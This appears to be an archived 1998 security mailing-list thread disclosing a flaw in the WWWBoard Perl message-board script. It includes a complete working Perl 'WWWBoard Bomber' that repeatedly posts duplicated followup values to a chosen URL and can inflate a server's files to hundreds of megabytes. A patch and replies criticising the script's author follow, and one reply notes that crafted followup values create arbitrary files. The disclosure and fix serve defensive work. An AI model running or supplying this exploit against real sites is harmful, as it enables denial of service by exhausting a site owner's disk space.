WWWBoard v2.0 ALPHA Vulnerability

Recently, many vulnerabilities have been found in the popular WWWBoard script written by Matt 
Wright, this is yet another. When the followup value in a form posted to the WWWBoard script 
contains the same post number twice, the script follows up to that post twice, even printing the 
number of followups to a particular post (on the wwwboard.html file) multiple times. This exploit 
does even one better than just 'messing up' the board, if done severly enough, it can cause the 
wwwboard.html file to become hundreds of megabytes in size. It appears that the number of 
followups shown on the main page (if there's three, it'd look like "(3)") increases exponentially 
with this flaw, such that posting a followup value of say "5,5,5" 2 times would make (2) appear 
as the followup value, but it would appear 9 times. From the best I can tell, the number of 
followups you have that are the same (like "3,3,3,3,3" would have 5) is the number of times the 
followup value will appear on the wwwboard.html page, and if you post the same twice, it does 
that number to the second power, and thrice does to the third power, etc. (whereas if you post 
"3,3,3,3,3" once, it'll have 5 followup numbers, if you post it twice, it'll have 25, if you post 
it three times, it'll have 125, post it ten times and it'll show 9,765,625 times, twelve times  
244,140,625, thirteen times 1,220,703,125, etc.) And even though it appears that only three bytes 
"(X)" are added for each followup value you see, there are comments in the HTML making it appear 
as "(<!--responses: 3-->5)" in the html source if there's 5 followups to message 3.

As that shows, this can cause much more damage than just a simple annoyance. This flaw could 
easilly be exploited to the point where a users quota is maxed out, or even to the point where 
the web server runs out of disk space. Below is an exploit script, and a patch to fix the 
wwwboard.pl script.
Samuel Sparling


Here is an example perl script to exploit this flaw:

#!/usr/bin/perl
###################################################
#
# WWWBoard Bomber Exploit Script
# Written By: Samuel Sparling (sparling@slip.net)
#
# Written to exploit a flaw in the WWWBoard script
# by Matt Wright.
#
# Copyright © 1998 Samuel Sparling
# All Rights Reserved.
#
# Written 11-04-1998
###################################################
use Socket;# Tell perl to use the socket module

# Change this if the server you're trying on uses a different port for http
$port=80;

print "WWWBoard Bomber Exploit Script\n\n";
print "WWWBoard.pl URL: ";
$url=<STDIN>;
chop($url) if $url =~ /\n$/;

print "Name: ";
$name=<STDIN>;
chop($name) if $name =~ /\n$/;

print "E-Mail: ";
$email=<STDIN>;
chop($email) if $email =~ /\n$/;

print "Subject: ";
$subject=<STDIN>;
chop($subject) if $subject =~ /\n$/;

print "Message: ";
$message=<STDIN>;
chop($message) if $message =~ /\n$/;

print "Followup Value: ";
$followup=<STDIN>;
chop($followup) if $followup =~ /\n$/;

print "Times to Post: ";
$stop=<STDIN>;
chop($stop) if $stop =~ /\n$/;



	# Chop the URL into peices to use for the actual posting
	$remote = $url;
	$remote =~ s/http\:\/\///g;
	$remote =~ s/\/([^>]|\n)*//g;

	$path = $url;
	$path =~ s/http\:\/\///g;
	$path =~ s/$remote//g;


	$forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$message";
	$forminfo =~ s/\,/\%2C/g;# Turn comas into %2C so that they can be posted.
        $forminfo =~ tr/ /+/;

	$length = length($forminfo);

	$submit = "POST $path HTTP/1.0\r\nReferer: $url\r\nUser Agent: Mozilla/4.01 (Win95; I)\r\nContent-type: application/x-www-form-urlencoded\r\nContent-length: $length\r\n\r\n$forminfo\r\n";

	$i=0;
	while($i < $stop)
	{
		&post_message;
		$i++;
		print "$i message(s) posted.\n";
	}


sub post_message
{
		if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
		die("No port specified.") unless $port;
		$iaddr = inet_aton($remote) || die("Failed to find host: $remote");
		$paddr = sockaddr_in($port, $iaddr);
		$proto = getprotobyname('tcp');
		socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");
		connect(SOCK, $paddr) || die("Unable to connect: $!");
		send(SOCK,$submit,0);
		while(<SOCK>) {
			#print $_;# Uncomment for debugging if you have problems.
		}
		close(SOCK);
}


exit;



Below is the patch, all it does is check to make sure that the same followup number is not used more than once in the followups form field.

In the get_variables subroutine replace this:

   if ($FORM{'followup'}) {
      $followup = "1";
      @followup_num = split(/,/,$FORM{'followup'});
      $num_followups = @followups = @followup_num;
      $last_message = pop(@followups);
      $origdate = "$FORM{'origdate'}";
      $origname = "$FORM{'origname'}";
      $origsubject = "$FORM{'origsubject'}";
   }

with this:

   if ($FORM{'followup'}) {
      $followup = "1";
      @followup_num = split(/,/,$FORM{'followup'});
      $num_followups = @followups = @followup_num;
      $last_message = pop(@followups);
      $origdate = "$FORM{'origdate'}";
      $origname = "$FORM{'origname'}";
      $origsubject = "$FORM{'origsubject'}";

# WWWBoard Bomb Patch 
# Written By: Samuel Sparling (sparling@slip.net)
	$fn=0;
	while($fn < $num_followups)
	{
		$cur_fup = @followups[$fn];
		$dfn=0;
		foreach $fm(@followups)
		{
			if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
			{
				&error(board_bomb);
			}
			$dfn++;
		}
	$fn++;
	}
# End WWWBoard Bomb Patch
   }


--------------------------------------------------------------------------------------

Date: Tue, 10 Nov 1998 14:11:39 +0300
From: Spartak Radchenko <spartak@AIF.RU>
To: BUGTRAQ@netspace.org
Subject: Re: WWWBoard Vulnerability

I advise you not to use any of Matt Wright programs. According to my
experience they are full of various bugs (at least, the program that I
tried to use).

I tried to use his Web counter (TextCounter C++ Version 1.3) and it was
full of absolutely lame errors. His attemts to invent a new way of
file locking was simply ridiculous. After several attempts to correct
these errors I came to conclusion that its design is invalid beyond repair
and simply rewrote it from the scratch.

An example from
http://www.worldwidemart.com/scripts/cgi-bin/c_download.cgi?s=textcounter&c=txt&f=tcounter.cpp:

 // Generate the lock filename.
    lock_file = new char[count_page_len + 4];
    strcat(lock_file,data_dir);
    strcat(lock_file,count_page);
    strcat(lock_file,".lck");

No comments...

My email to Matt Wright about these bugs was ignored.

Spartak Radchenko SVR1-RIPE
Arguments & Facts Weekly

On Mon, 9 Nov 1998, Samuel Sparling wrote:

> Recently, many vulnerabilities have been found in the popular "WWWBoard
> v2.0 ALPHA" script written by Matt Wright, this is yet another. When the


--------------------------------------------------------------------------------------

Date: Tue, 10 Nov 1998 22:56:08 -0800
From: Samuel Sparling <sparling@SLIP.NET>
To: BUGTRAQ@netspace.org
Subject: Re: WWWBoard Vulnerability

I'd like to mention that the patch I gave a few days ago (in the "WWWBoard
Vulnerability" posting), also protects against other bogus followup errors
(whereas, w/o the patch, somebody using the exploit script, or just a form,
could post w/ an followup value of for instance "44,blah", and the script
would create a file called blah.html.) Although the file created when doing
that is empty, it will not show up in the "WWWAdmin" script, other than
that, there isn't any problem I've yet found with that.
Samuel Sparling